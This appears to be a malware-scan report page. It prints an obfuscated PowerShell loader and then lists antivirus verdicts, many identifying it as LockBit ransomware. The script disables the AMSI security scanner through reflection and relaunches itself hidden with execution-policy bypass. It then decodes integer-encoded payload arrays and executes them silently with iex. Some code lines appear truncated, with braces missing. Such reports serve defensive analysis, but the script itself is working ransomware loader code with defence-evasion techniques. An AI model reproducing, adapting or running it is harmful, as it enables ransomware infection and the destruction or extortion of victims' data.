No static analysis available.
for ($i = 0; $i -lt $args.count; $i++ ){$argument += $args[$i] + ' '}
$psFile=$PSCommandPath
$global:ProgressPreference = "SilentlyContinue"
# -- thread variables
$script:threadBody = '$data=$threadData;'
$data = @(
@(62416317159553766,6171585555604128,57336399694057504,58471265167106420,54959097326818472,18155490401546482,61792098652180512,65230187563416165,18283808620706409,55049755904448048,20409040601135092,48817124902009204,44358311043823201,64527480453839471,52536072690480837,52766518087147867,57372294081942048,51370291418535539,57371618489184464,59623557381231730,52536357920716655,51685252549913051,63533613845065437,57340686438595189,45437326675412268,64624510459476321,62953253871806504,51638886326030446,57371478650990806,47108824885965523,18209280467040628,22411854972004775,22398490584404012,18156244121900192,52811152456755675,57222016497979936,57354706814286580,56760627324526240,51370291418535463,57371618489184464,59623557381231730,52536426640193391,52811152456755675,58487483252429344,51370291418535539,57371618489184464,59623557381231730,52536460999931759,18425148757222619,25212137672321060,54961124596518922,23022877124817138,62416317172217808,47128274939682464,20410159148464500,57340686407301456,471261765356762
@(62416317159553766,56180389873181216,55098072181772840,23568224017192548,20408043980373408,65187465691673850,65812149945507488,57380724292695781,62991243006147186,46955427333169517,45195728218913140,5813281687813345,18523928801054752,55518119454806077,26245660627497706,65671420821861069,18156238424011506,59614124299735584,37650918732870388,24982015748700793,65836656254423584,65759000230869477,20408043980362984,20409040573774574,22992086733928941,18156238280594992,55088068177252896,67437935932748519,18528000854763437,20445340280634562,18156238281618124,44052938632008224,56179916691700709,61852042703032436,62416316924524912,57371480792064558,20445891647027795,65274284625050093,37922691132125940,59619499180832495,64672651048367983,62829904000776677,56178600240968420,23590702161868527,66350175274668042,65180294963541612,39003277898639662,25217565969249016,62371318645594144,56454433185727785,65231307188279155,18156238215468133,45235034667229856,20410914538676549,57314306395044933,67858568547843722,592539821440754
$am = [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils')
if ($am) {
$am.GetField('amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)
if ($psversiontable.PSVersion.Major -eq 2){$psFile = $MyInvocation.MyCommand.Definition}
if ([IntPtr]::Size -eq 8) {
$ps86 = "$($env:SystemRoot)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
$ps86Args = @('-ex bypass', '-nonI', $psFile)
if ($argument){$ps86Args += $argument}
Start-Process $ps86 $ps86Args -Window hidden
exit
function fnD([Int64[]] $ints) {
$wSize = 8
[byte[]]$dB = New-Object byte[]($ints.Length * $wSize)
for ($i = 0; $i -lt $ints.Count; $i += 1) {
for ($j = 0; $j -lt $wSize; $j += 1) {
$dB[$i * $wSize + $j] = ($ints[$i] -band 0x7F)
$ints[$i] = ($ints[$i] - $dB[$i * $wSize + $j]) / 0x80
}
return [Text.Encoding]::ASCII.GetString($dB)
$c = ''
$scb = New-Object String[]($data.Length)
for ($i = 0; $i -lt $data.Length; $i += 1) {
$scb[$i] = (fnD $data[$i])
$c += "iex `$scb[$i] -ea SilentlyContinue;"
if ($psversiontable.PSVersion.Major -eq 2) {
iex $c -ea SilentlyContinue -OutVariable jOutput -ErrorVariable jErrors 2> $null | Out-Null
} else {
iex $c -ea SilentlyContinue -OutVariable jOutput -ErrorVariable jErrors 2> $null 1> $null
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Lockbit.4!c
ClamAV Win.Ransomware.LockBit-10041814-0
CTX powershell.trojan.lockbit
CAT-QuickHeal PS1.Lockbit.49229.GC
Skyhigh Artemis!Trojan
ALYac Trojan.PowerShell.Agent
Malwarebytes Clean
Zillya Clean
Sangfor Clean
CrowdStrike Clean
K7GW Trojan ( 0001140e1 )
K7AntiVirus Trojan ( 005bf19f1 )
Baidu Clean
VirIT Trojan.PS.Agent.GBB
Symantec Trojan.Gen.2
ESET-NOD32 Win32/Filecoder.Lockbit.L
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Clean
Kaspersky Clean
BitDefender Generic.PWSH.Loki.A.921AC782
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Generic.PWSH.Loki.A.921AC782
Tencent Clean
Sophos Clean
F-Secure Clean
DrWeb Trojan.Encoder.35959
VIPRE Generic.PWSH.Loki.A.921AC782
TrendMicro Clean
CMC Clean
Emsisoft Generic.PWSH.Loki.A.921AC782 (B)
huorong VirTool/PS.Obfuscator.o
FireEye Generic.PWSH.Loki.A.921AC782
Jiangmin Clean
Varist Unix/Agent.RP
Avira Clean
Fortinet Clean
Antiy-AVL Clean
Kingsoft Script.Troj.powershell.2041207
Gridinsoft Clean
Xcitium Malware@#1j4vsynmg6nau
Arcabit Generic.PWSH.Loki.A.921AC782
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Trojan:PowerShell/Lockbit.PB!MTB
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Trojan.Undefined!8.1327C (TOPIS:E0:zchk3bpMryB)
Yandex Clean
Ikarus Trojan-Ransom.LockBit
MaxSecure Clean
GData Generic.PWSH.Loki.A.921AC782
AVG Script:SNH-gen [Trj]
Panda Clean
alibabacloud Ransomware:Win/Lockbit.L
IRMA Signature
Trend Micro SProtect (Linux) Clean
Avast Core Security (Linux) Script:SNH-gen [Trj]
C4S ClamAV (Linux) Win.Ransomware.LockBit-10041814-0
Trellix (Linux) Clean
Sophos Anti-Virus (Linux) Clean
Bitdefender Antivirus (Linux) Generic.PWSH.Loki.A.921AC782
G Data Antivirus (Windows) Virus: Generic.PWSH.Loki.A.921AC782 (Engine A)
WithSecure (Linux) Clean
ESET Security (Windows) Win32/Filecoder.Lockbit.L trojan
DrWeb Antivirus (Linux) Trojan.Encoder.35959
ClamAV (Linux) Win.Ransomware.LockBit-10041814-0
eScan Antivirus (Linux) Generic.PWSH.Loki.A.921AC782(DB)
Kaspersky Standard (Windows) Clean
Emsisoft Commandline Scanner (Windows) Generic.PWSH.Loki.A.921AC782 (B)
Cuckoo

We're processing your submission... This could take a few seconds.